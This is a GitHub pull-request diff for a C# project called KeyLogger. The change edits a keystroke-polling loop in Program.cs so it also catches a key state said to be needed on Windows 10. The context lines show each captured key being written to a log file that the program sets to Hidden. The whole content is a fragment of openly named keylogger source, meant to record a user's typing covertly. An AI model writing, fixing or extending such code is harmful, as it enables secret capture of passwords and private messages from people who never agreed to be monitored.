Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion KeyLogger/KeyLogger/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,8 @@ private void start()
for (int i = 0; i < 255; i++)
{
int key = GetAsyncKeyState(i);
if (key == 1 || key == -32767)
// 32769 should be used for windows 10.
if (key == 1 || key == -32767 || key == 32767)
{
StreamWriter file = new StreamWriter(path, true);
File.SetAttributes(path, FileAttributes.Hidden);
Expand Down